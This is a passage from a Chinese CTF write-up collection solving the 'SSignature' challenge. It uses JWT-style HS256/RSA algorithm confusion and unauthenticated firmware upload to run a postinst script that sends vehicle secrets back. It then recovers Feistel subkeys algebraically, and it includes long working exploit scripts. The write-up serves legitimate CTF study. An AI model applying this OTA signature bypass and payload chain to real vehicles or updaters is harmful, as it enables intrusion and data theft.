2026.11.16

RCTF2026复现

CTF

第九届“强网”拟态防御国际精英挑战赛预选赛题解汇总

队伍:N1Junior

本汇总共收录 22 道题目,涵盖 Crypto 5 题、Misc 7 题、Pwn 4 题、Reverse 2 题、Web 4 题。


目录


Crypto

1. SSignature

题目分析

题目由 OTA 签名绕过、车端代码执行、诊断加密预言机和低次数 Feistel 密钥恢复四部分组成。目标不是伪造 RSA 签名,而是利用算法选择错误进入车内网络,再在 249 个选择明文额度内精确恢复十个 16 位子密钥。

OTA 签名绕过

元数据头部的 alg 完全由攻击者控制。选择 HS256 后,验签代码会把公开的 rsa_pubkey.txt 原始字节当作 HMAC-SHA256 密钥。附件已经给出这份文件,所以任意元数据都可以计算出合法签名:

msg = json.dumps(body, sort_keys=True, separators=(",", ":"),
                 ensure_ascii=False).encode()
sig = hmac.new(rsa_pubkey_bytes, msg, hashlib.sha256).hexdigest()

服务端同时开放了未鉴权的固件上传和元数据更新接口。先上传普通 tar,再把元数据中的版本和 URL 指向它,updater 就会下载并解包。归档只需包含合法路径 firmware/postinst.sh,updater 会主动执行该脚本,因此无需路径穿越或符号链接。

postinst 以 vehicle 用户运行,可以读取 /chip/secret_block.enc,也可以连接本机 127.0.0.1:13400 的诊断服务。诊断服务支持批量 WriteDataByIdentifier,返回同一密钥下的 Feistel 密文。脚本将诊断结果和密封的 AES 密文通过 version=loot 上传接口回传。

元数据解析还存在重复 JSON 键的首键验签、末键使用差异,但已知 HMAC 密钥后可以直接签恶意正文,这个差异不参与最短利用链。

归一化 Feistel

源码每轮都用公开矩阵包裹左右半部。令第 i 轮入口的归一化状态为

[
x_i=\operatorname{lin}(L_i,\mathrm{rows}[i]),\qquad
x_{i-1}=\operatorname{lin}(R_i,\mathrm{rows}[i]).
]

一轮结束时使用 rows_inv[i+1],下一轮又乘 rows[i+1],两者严格抵消。十轮核心因此化为

[
\boxed{x_{i+1}=x_{i-1}+(x_i+k_i)^3},\qquad i=0,\ldots,9,
]

其中所有运算位于由 0x1002D 定义的 GF(2^16)。明文是 (x0,x-1),密文是 (x10,x9)。查询前用 rows_inv[0] 转回外部坐标,收到密文后用 rows[10] 转回核心坐标。

248+1 次选择明文攻击

固定 x0=0,让 x-1=t 依次取 0..247。记第 i 个状态为关于 t 的多项式 p_i(t),则

[
\deg p_1,\ldots,\deg p_6=1,3,9,27,81,243.
]

前 244 点唯一确定 243 次的 p6,后 4 点给出四个 Reed-Solomon 型校验关系。由密文向后撤销末三轮,令未知量为

[
a=k_9,\quad b=k_8,\quad c=k_7.
]

逐点有

[
\begin{aligned}
x_8 &= x_{10}+(x_9+a)^3,\
x_7 &= x_9+(x_8+b)^3,\
x_6 &= x_8+(x_7+c)^3.
\end{aligned}
]

把四个插值校验作用到 x6,每条关系都可以写成

[
A_j(a,b)c^2+B_j(a,b)c+C_j(a,b)=0.
]

枚举 65536 个 a。对每个 a,取三条关系组成的行列式,得到关于 b 的一元多项式;两组行列式取最大公因式即可筛出 b,随后线性求出 c。复杂度只包含一层 16 位枚举,远低于枚举末三轮的 48 位空间。

得到 k7,k8,k9 后可计算全部 p6,p7。从高次项依次剥离首一立方多项式:

[
\begin{aligned}
p_6 &= p_4+(p_5+k_5)^3,\
p_4 &= p_2+(p_3+k_3)^3,\
p_2 &= p_0+(p_1+k_1)^3.
\end{aligned}
]

在无穷远处逐项求形式立方根,可以恢复三个括号内的完整多项式及低次余项。再利用 p7 和若干点的常数一致性,依次枚举 16 位的 k6,k4,k2,并直接求出 k5,k3,k1。

同一直线只能确定

[
k_0^3=p_1(0).
]

因为 gcd(3,2^16-1)=3,通常有三个立方根。离线选择一个使三者首轮输出两两不同的 x0,用最后一次诊断额度查询,即可唯一确定 k0。远端恢复出的子密钥为:

33e9 cdc4 14d4 82eb f957 67bc f7c0 b972 3c1b e84c

启动逻辑用十个子密钥的大端字节串计算 MD5,作为 AES-ECB 密钥:

aes_key = hashlib.md5(b"".join(k.to_bytes(2, "big") for k in keys)).digest()
secret = AES.new(aes_key, AES.MODE_ECB).decrypt(secret_block)

解出的 16 字节 secret 为:

70a55ba8bac7f7e19f45199e7e2dc6aa

完整 Exp

Exp 的入口会自动完成两次 OTA 投放、248+1 次诊断查询、密钥恢复、AES 解密和 flag 提交。控制端依赖 pycryptodome,目标端已有 requests。

exp.py
#!/usr/bin/env python3
"""Run the complete two-stage SSignature exploit against one challenge instance."""

from __future__ import annotations

import argparse
import hashlib
import importlib.util
import json
import secrets
import sys
import time
import urllib.parse
from pathlib import Path

from Crypto.Cipher import AES


EXP_DIR = Path(__file__).resolve().parent
ROOT = EXP_DIR.parents[1]
sys.path.insert(0, str(EXP_DIR))
import crypto_attack as crypto  # noqa: E402


def load_module(name: str, path: Path):
    spec = importlib.util.spec_from_file_location(name, path)
    if spec is None or spec.loader is None:
        raise RuntimeError(f"cannot load {path}")
    module = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(module)
    return module


ota = load_module("ota_exploit", EXP_DIR / "ota_chain.py")
OUT = ROOT / "outputs" / "remote"
PUBKEY = ROOT / "vehicle" / "rsa_pubkey.txt"
INTERNAL_OTA = "http://127.0.0.1:8080"


def external_block(xm1: int, x0: int) -> list[int]:
    rows, rows_inv = crypto.myFeistel.gen_rows() if hasattr(crypto.myFeistel, "gen_rows") else (None, None)
    if rows is None:
        from vehicle.cipher import gen_rows
        rows, rows_inv = gen_rows()
    return [
        crypto.myFeistel.lin(x0, rows_inv[0]),
        crypto.myFeistel.lin(xm1, rows_inv[0]),
    ]


def normalize_ct(pair: list[int]) -> tuple[int, int]:
    from vehicle.cipher import gen_rows
    rows, _ = gen_rows()
    return (
        crypto.myFeistel.lin(int(pair[0]), rows[10]),
        crypto.myFeistel.lin(int(pair[1]), rows[10]),
    )


def request_json(method: str, url: str, *, body: bytes | None = None,
                 content_type: str | None = None, timeout: float = 20.0):
    status, raw = ota.one_http_request(
        method, url, body=body, content_type=content_type, timeout=timeout
    )
    value = ota.decode_json(raw)
    if not 200 <= status < 300:
        raise RuntimeError(f"HTTP {status} {url}: {value!r}")
    return value


def deploy(base: str, blocks: list[list[int]], campaign: str) -> None:
    firmware = ota.build_firmware_tar(blocks, campaign, INTERNAL_OTA)
    fw_hash = hashlib.sha256(firmware).hexdigest()
    fw_url = INTERNAL_OTA + "/api/v1/firmware/" + urllib.parse.quote(campaign, safe="")
    targets = ota.build_targets(
        version=campaign,
        firmware_url=fw_url,
        firmware_sha256=fw_hash,
        hmac_key=ota.read_hmac_key(PUBKEY),
        duplicate_keys=False,
    )
    (OUT / f"firmware_{campaign}.tar").write_bytes(firmware)
    (OUT / f"targets_{campaign}.json").write_bytes(targets)

    upload_body, upload_type = ota.multipart_firmware(campaign, firmware)
    upload = request_json(
        "POST", base + "/api/v1/admin/upload_firmware",
        body=upload_body, content_type=upload_type, timeout=30,
    )
    update = request_json(
        "POST", base + "/api/v1/admin/set_targets",
        body=targets, content_type="application/json", timeout=20,
    )
    print(json.dumps({"campaign": campaign, "upload": upload, "targets": update}, ensure_ascii=False), flush=True)


def poll_loot(base: str, campaign: str, timeout: float = 180.0) -> dict:
    deadline = time.monotonic() + timeout
    last = None
    while time.monotonic() < deadline:
        status, raw = ota.one_http_request(
            "GET", base + "/api/v1/firmware/loot", timeout=20
        )
        last = ota.decode_json(raw)
        if 200 <= status < 300 and isinstance(last, dict) and last.get("campaign") == campaign:
            (OUT / f"loot_{campaign}.json").write_text(
                json.dumps(last, indent=2, ensure_ascii=False) + "\n", encoding="utf-8"
            )
            return last
        time.sleep(2)
    raise TimeoutError(f"loot timeout for {campaign}; last={last!r}")


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--base-url", required=True)
    args = ap.parse_args()
    base = ota.normalize_base_url(args.base_url)
    OUT.mkdir(parents=True, exist_ok=True)

    ts = list(range(248))
    line_blocks = [external_block(t, 0) for t in ts]
    phase1 = "ota-a-" + secrets.token_hex(5)
    deploy(base, line_blocks, phase1)
    loot1 = poll_loot(base, phase1)
    if loot1.get("diag_stored") != 248 or len(loot1.get("oracle_ct", [])) != 248:
        raise RuntimeError(f"bad first diagnostic response: {loot1!r}")
    outputs = [normalize_ct(pair) for pair in loot1["oracle_ct"]]

    def final_oracle(xm1: int, x0: int) -> tuple[int, int]:
        phase2 = "ota-b-" + secrets.token_hex(5)
        deploy(base, [external_block(xm1, x0)], phase2)
        loot2 = poll_loot(base, phase2)
        if loot2.get("diag_stored") != 1 or len(loot2.get("oracle_ct", [])) != 1:
            raise RuntimeError(f"bad final diagnostic response: {loot2!r}")
        return normalize_ct(loot2["oracle_ct"][0])

    keys, timings = crypto.recover_full_key(outputs, ts, final_oracle, verbose=True)
    secret_block = bytes.fromhex(str(loot1["secret_block"]).strip())
    aes_key = hashlib.md5(b"".join(k.to_bytes(2, "big") for k in keys)).digest()
    secret = AES.new(aes_key, AES.MODE_ECB).decrypt(secret_block).hex()
    result = {"subkeys": keys, "secret": secret, "timings": timings}
    (OUT / "recovered.json").write_text(
        json.dumps(result, indent=2) + "\n", encoding="utf-8"
    )
    print(json.dumps(result, indent=2), flush=True)

    status, raw = ota.one_http_request(
        "POST", base + "/api/v1/submit_secret",
        body=ota.compact_json({"secret": secret}),
        content_type="application/json", timeout=20,
    )
    response = ota.decode_json(raw)
    print(json.dumps({"http_status": status, "response": response}, ensure_ascii=False), flush=True)
    (OUT / "flag_response.json").write_text(
        json.dumps({"http_status": status, "response": response}, indent=2, ensure_ascii=False) + "\n",
        encoding="utf-8",
    )
    return 0 if status == 200 and isinstance(response, dict) and response.get("flag") else 1


if __name__ == "__main__":
    raise SystemExit(main())
crypto_attack.py
#!/usr/bin/env python3
"""Experiments for exact algebraic key recovery on the reduced Feistel core."""

from __future__ import annotations

import argparse
import random
import sys
import time
from pathlib import Path


ROOT = Path(__file__).resolve().parents[2]
sys.path.insert(0, str(ROOT))

from vehicle.cipher import myFeistel  # noqa: E402


MOD = 0x1002D
MASK = 0xFFFF


def mul(a: int, b: int) -> int:
    r = 0
    for _ in range(16):
        if b & 1:
            r ^= a
        b >>= 1
        a <<= 1
        if a & 0x10000:
            a ^= MOD
    return r & MASK


def square(a: int) -> int:
    return mul(a, a)


def cube(a: int) -> int:
    return mul(square(a), a)


def powgf(a: int, n: int) -> int:
    r = 1
    while n:
        if n & 1:
            r = mul(r, a)
        a = square(a)
        n >>= 1
    return r


def inv(a: int) -> int:
    if not a:
        raise ZeroDivisionError
    return powgf(a, 0xFFFE)


def make_log_tables() -> tuple[list[int], list[int], int]:
    """Find a primitive field element and construct fast log/exp tables."""
    factors = (3, 5, 17, 257)
    generator = 2
    while any(powgf(generator, 65535 // p) == 1 for p in factors):
        generator += 1
    exp = [0] * (2 * 65535)
    log = [-1] * 65536
    x = 1
    for i in range(65535):
        exp[i] = x
        log[x] = i
        x = mul(x, generator)
    if x != 1 or any(v < 0 for v in log[1:]):
        raise RuntimeError("bad GF(2^16) logarithm table")
    exp[65535:] = exp[:65535]
    return log, exp, generator


def core_encrypt(keys: list[int], xm1: int, x0: int) -> tuple[int, int, list[int]]:
    states = [xm1, x0]
    for k in keys:
        states.append(states[-2] ^ cube(states[-1] ^ k))
    return states[-1], states[-2], states


def oracle_query(cipher: myFeistel, xm1: int, x0: int) -> tuple[int, int]:
    """Query the real wrapped implementation, returning core coordinates (x10,x9)."""
    left = cipher.lin(x0, cipher.rows_inv[0])
    right = cipher.lin(xm1, cipher.rows_inv[0])
    out_left, out_right = cipher.enc_block(left, right)
    return (cipher.lin(out_left, cipher.rows[10]),
            cipher.lin(out_right, cipher.rows[10]))


# Sparse polynomial in three formal GF(2^16) variables a, b, c.
Exp = tuple[int, int, int]
Poly = dict[Exp, int]


def padd(x: Poly, y: Poly) -> Poly:
    z = dict(x)
    for m, v in y.items():
        nv = z.get(m, 0) ^ v
        if nv:
            z[m] = nv
        else:
            z.pop(m, None)
    return z


def pscale(x: Poly, c: int) -> Poly:
    if not c:
        return {}
    return {m: mul(v, c) for m, v in x.items() if v}


def pmul(x: Poly, y: Poly) -> Poly:
    z: Poly = {}
    for (xa, xb, xc), xv in x.items():
        for (ya, yb, yc), yv in y.items():
            m = (xa + ya, xb + yb, xc + yc)
            nv = z.get(m, 0) ^ mul(xv, yv)
            if nv:
                z[m] = nv
            else:
                z.pop(m, None)
    return z


def pcube(x: Poly) -> Poly:
    return pmul(pmul(x, x), x)


def pconst(x: int) -> Poly:
    return {} if not x else {(0, 0, 0): x}


PA: Poly = {(1, 0, 0): 1}
PB: Poly = {(0, 1, 0): 1}
PC: Poly = {(0, 0, 1): 1}


def backward_x6_poly(x10: int, x9: int) -> Poly:
    """x6 after undoing rounds 9, 8, 7; variables are their keys."""
    x8 = padd(pconst(x10), pcube(padd(pconst(x9), PA)))
    x7 = padd(pconst(x9), pcube(padd(x8, PB)))
    x6 = padd(x8, pcube(padd(x7, PC)))
    return x6


def lagrange_relation(xs: list[int], x: int) -> list[int]:
    """Weights w with f(x) + sum(w_i*f(xs[i])) = 0 for deg f < len(xs)."""
    out = []
    for i, xi in enumerate(xs):
        num = 1
        den = 1
        for j, xj in enumerate(xs):
            if j == i:
                continue
            num = mul(num, x ^ xj)
            den = mul(den, xi ^ xj)
        out.append(mul(num, inv(den)))
    return out


def build_relations(outputs: list[tuple[int, int]], ts: list[int], base_n: int = 244) -> list[Poly]:
    start = time.perf_counter()
    polys = [backward_x6_poly(q, p) for q, p in outputs]
    print(f"built {len(polys)} sample polynomials in {time.perf_counter() - start:.3f}s; "
          f"monomials={len(polys[0])}")
    rels: list[Poly] = []
    for j in range(base_n, len(ts)):
        weights = lagrange_relation(ts[:base_n], ts[j])
        acc = polys[j]
        for w, poly in zip(weights, polys[:base_n]):
            acc = padd(acc, pscale(poly, w))
        rels.append(acc)
        print(f"relation {j-base_n}: {len(acc)} nonzero monomials")
    return rels


def poly_trim(p: list[int]) -> list[int]:
    while p and not p[-1]:
        p.pop()
    return p


def poly_add(x: list[int], y: list[int]) -> list[int]:
    z = [0] * max(len(x), len(y))
    for i, v in enumerate(x):
        z[i] ^= v
    for i, v in enumerate(y):
        z[i] ^= v
    return poly_trim(z)


def poly_mul(x: list[int], y: list[int]) -> list[int]:
    if not x or not y:
        return []
    z = [0] * (len(x) + len(y) - 1)
    for i, xv in enumerate(x):
        if xv:
            for j, yv in enumerate(y):
                if yv:
                    z[i + j] ^= mul(xv, yv)
    return poly_trim(z)


def poly_cube(x: list[int]) -> list[int]:
    if not x:
        return []
    sq = [0] * (2 * len(x) - 1)
    for i, v in enumerate(x):
        sq[2 * i] = square(v)
    return poly_mul(x, sq)


def poly_eval(p: list[int], x: int) -> int:
    v = 0
    for coeff in reversed(p):
        v = mul(v, x) ^ coeff
    return v


def interpolate(xs: list[int], ys: list[int]) -> list[int]:
    """Dense interpolation over GF(2^16), ascending coefficient order."""
    if len(xs) != len(ys) or len(set(xs)) != len(xs):
        raise ValueError("interpolation requires equal-length distinct points")
    product = [1]
    for x in xs:
        product = poly_mul(product, [x, 1])
    out = [0] * len(xs)
    n = len(xs)
    for xi, yi in zip(xs, ys):
        quotient = [0] * n
        quotient[-1] = product[-1]
        for k in range(n - 2, -1, -1):
            quotient[k] = product[k + 1] ^ mul(xi, quotient[k + 1])
        if product[0] ^ mul(xi, quotient[0]):
            raise AssertionError("synthetic division remainder is nonzero")
        denom = poly_eval(quotient, xi)
        scale = mul(yi, inv(denom))
        for k, coeff in enumerate(quotient):
            out[k] ^= mul(scale, coeff)
    return poly_trim(out)


def recover_cubed_base(r: list[int], degree: int, contamination_degree: int) -> list[int]:
    """Recover monic q of degree n from r = q^3 + low-degree contamination."""
    if len(r) <= 3 * degree or r[3 * degree] != 1:
        raise ValueError("expected a monic polynomial of degree 3*n")
    q = [0] * (degree + 1)
    q[degree] = 1
    squares = [0] * (degree + 1)
    squares[degree] = 1
    for j in range(degree - 1, -1, -1):
        target = 2 * degree + j
        contribution = 0
        for f in range(degree + 1):
            e = target - 2 * f
            if 0 <= e <= degree and q[e] and squares[f]:
                contribution ^= mul(q[e], squares[f])
        q[j] = r[target] ^ contribution
        squares[j] = square(q[j])
    q3 = poly_cube(q)
    for d in range(contamination_degree + 1, max(len(r), len(q3))):
        rv = r[d] if d < len(r) else 0
        qv = q3[d] if d < len(q3) else 0
        if rv != qv:
            raise AssertionError(f"cube peel mismatch at degree {d}")
    return q


def bv_mul(z3, a, b):
    r = z3.BitVecVal(0, 16)
    aa = a
    bb = b
    for _ in range(16):
        r = r ^ z3.If((bb & 1) == 1, aa, z3.BitVecVal(0, 16))
        high = z3.Extract(15, 15, aa)
        aa = (aa << 1) & MASK
        aa = aa ^ z3.If(high == 1, z3.BitVecVal(MOD & MASK, 16), z3.BitVecVal(0, 16))
        bb = z3.LShR(bb, 1)
    return z3.simplify(r)


def solve_relations(rels: list[Poly], timeout_ms: int = 0):
    import z3

    av, bv, cv = z3.BitVecs("k9 k8 k7", 16)
    vars_ = (av, bv, cv)
    max_exp = [max(m[i] for rel in rels for m in rel) for i in range(3)]
    powers = []
    for var, max_e in zip(vars_, max_exp):
        row = [z3.BitVecVal(1, 16), var]
        for _ in range(2, max_e + 1):
            row.append(bv_mul(z3, row[-1], var))
        powers.append(row)
    print(f"power tables built, maxima={max_exp}")

    solver = z3.SolverFor("QF_BV")
    if timeout_ms:
        solver.set(timeout=timeout_ms)
    for ri, rel in enumerate(rels):
        total = z3.BitVecVal(0, 16)
        for (ea, eb, ec), coeff in rel.items():
            term = z3.BitVecVal(coeff, 16)
            if ea:
                term = bv_mul(z3, term, powers[0][ea])
            if eb:
                term = bv_mul(z3, term, powers[1][eb])
            if ec:
                term = bv_mul(z3, term, powers[2][ec])
            total = total ^ term
        solver.add(z3.simplify(total) == 0)
        print(f"encoded relation {ri}")
    start = time.perf_counter()
    result = solver.check()
    elapsed = time.perf_counter() - start
    print(f"solver: {result} in {elapsed:.3f}s")
    if result == z3.sat:
        model = solver.model()
        got = [model.eval(x, model_completion=True).as_long() for x in vars_]
        return got, elapsed
    return None, elapsed


def solve_relations_elimination(rels: list[Poly]):
    """Exact solve: enumerate a only, eliminate c and use polynomial gcd in b."""
    if len(rels) < 4:
        raise ValueError("at least four parity relations are needed")
    start = time.perf_counter()
    logs, exps, generator = make_log_tables()
    print(f"GF log tables built with generator {generator:04x}")

    def fm(x: int, y: int) -> int:
        if not x or not y:
            return 0
        return exps[logs[x] + logs[y]]

    def fi(x: int) -> int:
        return exps[65535 - logs[x]]

    def trim(p: list[int]) -> list[int]:
        while p and not p[-1]:
            p.pop()
        return p

    def up_add(x: list[int], y: list[int]) -> list[int]:
        z = [0] * max(len(x), len(y))
        for i, v in enumerate(x):
            z[i] ^= v
        for i, v in enumerate(y):
            z[i] ^= v
        return trim(z)

    def up_mul(x: list[int], y: list[int]) -> list[int]:
        if not x or not y:
            return []
        z = [0] * (len(x) + len(y) - 1)
        for i, xv in enumerate(x):
            if xv:
                lx = logs[xv]
                for j, yv in enumerate(y):
                    if yv:
                        z[i + j] ^= exps[lx + logs[yv]]
        return trim(z)

    def up_mod(x: list[int], y: list[int]) -> list[int]:
        x = x[:]
        if not y:
            raise ZeroDivisionError
        yi = fi(y[-1])
        while len(x) >= len(y):
            c = fm(x[-1], yi)
            shift = len(x) - len(y)
            if c:
                lc = logs[c]
                for j, yv in enumerate(y):
                    if yv:
                        x[shift + j] ^= exps[lc + logs[yv]]
            trim(x)
        return x

    def up_gcd(x: list[int], y: list[int]) -> list[int]:
        while y:
            x, y = y, up_mod(x, y)
        if x:
            scale = fi(x[-1])
            x = [fm(v, scale) for v in x]
        return x

    # grouped[h][c_exp][b_exp] = [(a_exp, coefficient), ...]
    grouped: list[list[list[list[tuple[int, int]]]]] = []
    for rel in rels:
        max_b = max(eb for _, eb, _ in rel)
        cur = [[[ ] for _ in range(max_b + 1)] for _ in range(3)]
        for (ea, eb, ec), coeff in rel.items():
            cur[ec][eb].append((ea, coeff))
        grouped.append(cur)

    max_a = max(ea for rel in rels for ea, _, _ in rel)

    def eval_parts(a: int) -> list[list[list[int]]]:
        apow = [1]
        for _ in range(max_a):
            apow.append(fm(apow[-1], a))
        all_parts: list[list[list[int]]] = []
        for cur in grouped:
            row: list[list[int]] = []
            for ec in range(3):
                p = []
                for terms in cur[ec]:
                    v = 0
                    for ea, coeff in terms:
                        v ^= fm(coeff, apow[ea])
                    p.append(v)
                row.append(trim(p))
            # Return conventional quadratic coefficients (alpha*c^2 + beta*c + gamma).
            all_parts.append([row[2], row[1], row[0]])
        return all_parts

    def determinant(r0, r1, r2) -> list[int]:
        # det([[alpha,beta,gamma], ...]); signs equal plus in characteristic two.
        a0, b0, g0 = r0
        a1, b1, g1 = r1
        a2, b2, g2 = r2
        out: list[int] = []
        for x, y, z in (
            (a0, b1, g2), (a0, g1, b2),
            (b0, a1, g2), (b0, g1, a2),
            (g0, a1, b2), (g0, b1, a2),
        ):
            out = up_add(out, up_mul(up_mul(x, y), z))
        return out

    candidate_as: list[tuple[int, list[int]]] = []
    checkpoint = time.perf_counter()
    for a in range(65536):
        rows = eval_parts(a)
        g = determinant(rows[0], rows[1], rows[2])
        for h in range(3, len(rows)):
            g = up_gcd(g, determinant(rows[0], rows[1], rows[h]))
            if len(g) <= 1:
                break
        if len(g) > 1:
            candidate_as.append((a, g))
        if a and a % 8192 == 0:
            now = time.perf_counter()
            print(f"elimination {a}/65536, candidates={len(candidate_as)}, "
                  f"chunk={now-checkpoint:.2f}s")
            checkpoint = now

    print(f"candidate a values: {len(candidate_as)}")
    solutions: list[list[int]] = []

    def up_eval(p: list[int], x: int) -> int:
        v = 0
        for coeff in reversed(p):
            v = fm(v, x) ^ coeff
        return v

    for a, g in candidate_as:
        rows = eval_parts(a)
        roots = [b for b in range(65536) if up_eval(g, b) == 0]
        print(f"a={a:04x}: gcd degree={len(g)-1}, field roots={len(roots)}")
        for b in roots:
            vals = []
            for alpha, beta, gamma in rows:
                vals.append((up_eval(alpha, b), up_eval(beta, b), up_eval(gamma, b)))
            c = None
            for i in range(len(vals)):
                for j in range(i + 1, len(vals)):
                    ai, bi, gi = vals[i]
                    aj, bj, gj = vals[j]
                    d = fm(ai, bj) ^ fm(aj, bi)
                    e = fm(ai, gj) ^ fm(aj, gi)
                    if d:
                        c = fm(e, fi(d))
                        break
                if c is not None:
                    break
            if c is None:
                continue
            c2 = fm(c, c)
            if all(fm(alpha, c2) ^ fm(beta, c) ^ gamma == 0
                   for alpha, beta, gamma in vals):
                solutions.append([a, b, c])
                print("solution:", f"{a:04x} {b:04x} {c:04x}")
    elapsed = time.perf_counter() - start
    print(f"elimination solver finished in {elapsed:.3f}s")
    return solutions, elapsed


def recover_full_key(outputs: list[tuple[int, int]], ts: list[int],
                     extra_oracle, verbose: bool = True) -> tuple[list[int], dict[str, float]]:
    """Recover all ten keys from 248 line samples and one adaptive sample."""
    if len(outputs) != 248 or len(ts) != 248:
        raise ValueError("the complete attack expects exactly 248 line samples")
    timings: dict[str, float] = {}
    start = time.perf_counter()
    relations = build_relations(outputs, ts)
    late_solutions, elapsed = solve_relations_elimination(relations)
    timings["late_elimination"] = elapsed
    if len(late_solutions) != 1:
        raise RuntimeError(f"late-key solve was not unique: {late_solutions}")
    k9, k8, k7 = late_solutions[0]

    x8s, x7s, x6s = [], [], []
    for x10, x9 in outputs:
        x8 = x10 ^ cube(x9 ^ k9)
        x7 = x9 ^ cube(x8 ^ k8)
        x6 = x8 ^ cube(x7 ^ k7)
        x8s.append(x8)
        x7s.append(x7)
        x6s.append(x6)

    peel_start = time.perf_counter()
    p6 = interpolate(ts[:244], x6s[:244])
    if len(p6) != 244 or p6[-1] != 1:
        raise AssertionError(f"unexpected x6 polynomial degree {len(p6)-1}")
    if any(poly_eval(p6, t) != v for t, v in zip(ts, x6s)):
        raise AssertionError("x6 interpolation did not validate on all line samples")

    q5 = recover_cubed_base(p6, 81, 27)       # q5 = p5 + k5
    p4 = poly_add(p6, poly_cube(q5))
    q4 = recover_cubed_base(q5, 27, 9)        # q4 = p4 + k4
    t3 = poly_add(q5, poly_cube(q4))           # t3 = p3 + k5
    q3 = recover_cubed_base(p4, 9, 3)         # q3 = p3 + k3
    p2 = poly_add(p4, poly_cube(q3))
    q2 = recover_cubed_base(t3, 3, 1)         # q2 = p2 + k2
    w1 = poly_add(t3, poly_cube(q2))           # w1 = p1 + k5
    q1 = recover_cubed_base(p2, 1, -1)        # q1 = p1 + k1
    if len(w1) != 2 or w1[1] != 1 or len(q1) != 2 or q1[1] != 1:
        raise AssertionError("unexpected low-degree peel result")

    k4 = q4[0] ^ (p4[0] if p4 else 0)
    k2 = q2[0] ^ (p2[0] if p2 else 0)

    # Round 6 makes x7 = p5 + (p6+k6)^3 = q5+k5+(p6+k6)^3.
    # Only the true k6 makes the derived k5 constant on every sample.
    q5_values = [poly_eval(q5, t) for t in ts]
    k6k5: list[tuple[int, int]] = []
    for k6 in range(65536):
        k5 = x7s[0] ^ q5_values[0] ^ cube(x6s[0] ^ k6)
        good = True
        for j in range(1, min(8, len(ts))):
            if x7s[j] ^ q5_values[j] ^ cube(x6s[j] ^ k6) != k5:
                good = False
                break
        if good and all(x7 ^ qv ^ cube(x6 ^ k6) == k5
                        for x7, qv, x6 in zip(x7s, q5_values, x6s)):
            k6k5.append((k6, k5))
    if len(k6k5) != 1:
        raise RuntimeError(f"round-6 solve was not unique: {k6k5}")
    k6, k5 = k6k5[0]

    p3_const = t3[0] ^ k5
    k3 = q3[0] ^ p3_const
    p1_const = w1[0] ^ k5
    k1 = q1[0] ^ p1_const

    logs, exps, _ = make_log_tables()
    if p1_const == 0:
        k0_candidates = [0]
    else:
        exponent = logs[p1_const]
        if exponent % 3:
            raise AssertionError("p1 constant is not a cube")
        base = exponent // 3
        k0_candidates = [exps[base + i * 21845] for i in range(3)]
        if any(cube(x) != p1_const for x in k0_candidates):
            raise AssertionError("bad cube roots")

    known = [None, k1, k2, k3, k4, k5, k6, k7, k8, k9]
    # Pick x0 adaptively so no two equal-cube k0 candidates collide in round 0.
    excluded = {0}
    for i, a in enumerate(k0_candidates):
        for b in k0_candidates[i + 1:]:
            excluded.add(a ^ b)
    adaptive_x0 = next(x for x in range(1, 65536) if x not in excluded)
    adaptive_xm1 = 0
    adaptive_output = extra_oracle(adaptive_xm1, adaptive_x0)
    matching = []
    for candidate in k0_candidates:
        trial = [candidate] + [int(x) for x in known[1:]]
        if core_encrypt(trial, adaptive_xm1, adaptive_x0)[:2] == adaptive_output:
            matching.append(candidate)
    if len(matching) != 1:
        raise RuntimeError(f"adaptive k0 disambiguation failed: {matching}")
    keys = [matching[0]] + [int(x) for x in known[1:]]
    timings["peel_and_early"] = time.perf_counter() - peel_start
    timings["total_recovery"] = time.perf_counter() - start
    if verbose:
        print(f"adaptive x0={adaptive_x0:04x}, k0 roots="
              f"{' '.join(f'{x:04x}' for x in k0_candidates)}")
        print("full recovered:", " ".join(f"{x:04x}" for x in keys))
        print("timings:", timings)
    return keys, timings


def run(seed: int, samples: int, timeout_ms: int, method: str, full: bool) -> int:
    rng = random.Random(seed)
    keys = [rng.randrange(1 << 16) for _ in range(10)]
    print("keys:", " ".join(f"{x:04x}" for x in keys))
    if full:
        cipher = myFeistel(keys)
        ts = list(range(248))
        outputs = [oracle_query(cipher, t, 0) for t in ts]
        got, _ = recover_full_key(outputs, ts, lambda xm1, x0: oracle_query(cipher, xm1, x0))
        print("exact:", got == keys)
        return int(got != keys)

    ts = list(range(samples))
    outputs = [core_encrypt(keys, t, 0)[:2] for t in ts]
    rels = build_relations(outputs, ts)
    if method == "z3":
        got, _ = solve_relations(rels, timeout_ms)
        got_all = [] if got is None else [got]
    else:
        got_all, _ = solve_relations_elimination(rels)
        got = got_all[0] if len(got_all) == 1 else None
    print("late expected:", [f"{x:04x}" for x in (keys[9], keys[8], keys[7])])
    print("late got:", None if got is None else [f"{x:04x}" for x in got])
    return int(got != [keys[9], keys[8], keys[7]])


if __name__ == "__main__":
    ap = argparse.ArgumentParser()
    ap.add_argument("--seed", type=int, default=1)
    ap.add_argument("--samples", type=int, default=249)
    ap.add_argument("--timeout-ms", type=int, default=300_000)
    ap.add_argument("--method", choices=("elimination", "z3"), default="elimination")
    ap.add_argument("--full", action="store_true")
    ns = ap.parse_args()
    raise SystemExit(run(ns.seed, ns.samples, ns.timeout_ms, ns.method, ns.full))
ota_chain.py
#!/usr/bin/env python3
"""Build and optionally deploy the SSignature OTA collection payload.

The default/build path performs no network access.  Network operations are
split into explicit ``deploy``, ``poll`` and ``submit`` subcommands.  Every
HTTP operation creates a fresh connection because the public xinetd bridge
closes the connection after one response.

The diagnostic service has a deployment-wide budget of 249 blocks.  This
script therefore deliberately has no guessed/default plaintext set: pass the
exact blocks selected by the cryptanalytic stage in a JSON file.
"""

from __future__ import annotations

import argparse
import hashlib
import hmac
import io
import json
import re
import secrets
import sys
import tarfile
import time
import urllib.error
import urllib.parse
import urllib.request
from pathlib import Path
from typing import Any


SCRIPT_PATH = Path(__file__).resolve()
CHALLENGE_DIR = SCRIPT_PATH.parents[2]
DEFAULT_PUBKEY = CHALLENGE_DIR / "vehicle" / "rsa_pubkey.txt"
DEFAULT_OUTPUT = CHALLENGE_DIR / "outputs" / "agents" / "ota_chain"
VERSION_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$")
MAX_BLOCKS = 249


def compact_json(value: Any, *, sort_keys: bool = False) -> bytes:
    return json.dumps(
        value,
        sort_keys=sort_keys,
        separators=(",", ":"),
        ensure_ascii=False,
    ).encode("utf-8")


def load_blocks(path: Path) -> list[list[int]]:
    value = json.loads(path.read_text(encoding="utf-8"))
    if isinstance(value, dict):
        value = value.get("blocks")
